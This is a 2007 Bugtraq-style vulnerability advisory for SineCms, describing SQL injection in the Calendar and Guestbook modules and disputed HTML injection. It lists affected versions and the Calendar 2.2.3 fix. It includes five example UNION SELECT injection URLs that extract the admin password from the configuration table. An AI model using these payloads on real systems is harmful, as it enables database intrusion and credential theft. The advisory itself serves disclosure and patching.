SineCms Multiple Input Validation Vulnerabilities

Bugtraq ID:	26738
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 05 2007 12:00AM
Updated:	Dec 19 2007 02:51PM
Credit:	KiNgOfThEwOrLd is credited with the discovery of these vulnerabilities.
Vulnerable:	SineCms SineCms 2.3.4 SineCms SineCms 2.3.2 SineCms SineCms 2.2.1 SineCms SineCms 2.1.1 SineCms SineCms 2.2 SineCms SineCms 2.1 SineCms SineCms 2.0
Not Vulnerable:	SineCms Calendar Module 2.2.3

SineCms Multiple Input Validation Vulnerabilities

SineCms is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include five SQL-injection vulnerabilities affecting the Calendar and Guestbook modules and two HTML-injection issues affecting the Last Comments module.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

UPDATE (December 18, 2007): The vendor refutes the HTML-injection issues.

SineCms Multiple Input Validation Vulnerabilities

An attacker can exploit these issues via a browser.

The following SQL-injection examples were provided:

http://www.example.com/[sinecms_path]/mods.php?mods=Calendar&action=info&id='+union+select+1,password,3,4,5,6,7,8,9+from+sine_configuration/*

http://www.example.com/[sinecms_path]/admin/mods_adm.php?mods=Guestbook&action=modifica&id='+union+select+1,2,3,4,password,6+from+sine_configuration/*

http://www.example.com/[sinecms_path]/admin/mods_adm.php?mods=Calendar&mese=11'+union+select+1,password,3,4,5,6,7,8,9+from+sine_configuration/*

http://www.example.com/[sinecms_path]/admin/mods_adm.php?mods=Calendar&action=modify&id='+union+select+1,2,3,4,password,6,7,8,9+from+sine_configuration/*

http://www.example.com/[sinecms_path]/admin/mods_adm.php?mods=Calendar&anno='+union+select+1,password,3,4,5,6,7,8,9+from+sine_configuration/*

The attacker can exploit the HTML-injection vulnerabilities by submitting arbitrary HTML and script code.

SineCms Multiple Input Validation Vulnerabilities

Solution:
The vendor has released updates to address the SQL-injection issues. Please see the references for more information.


SineCms SineCms 2.0

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.2

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.1

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.1.1

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.2.1

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.3.2

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms SineCms 2.3.4

• SineCms Calendar 2.2.3
  http://sinecms.net/repository/mods/Calendar/Calendar-2.2.3.tar.gz

SineCms Multiple Input Validation Vulnerabilities

References:

• SineCms Homepage (SineCms)
  
• Re: SineCMS <= 2.3.4 Calendar SQL Injection 'n something else.. ([email protected])
  
• SineCMS <= 2.3.4 Calendar SQL Injection 'n something else.. ([email protected])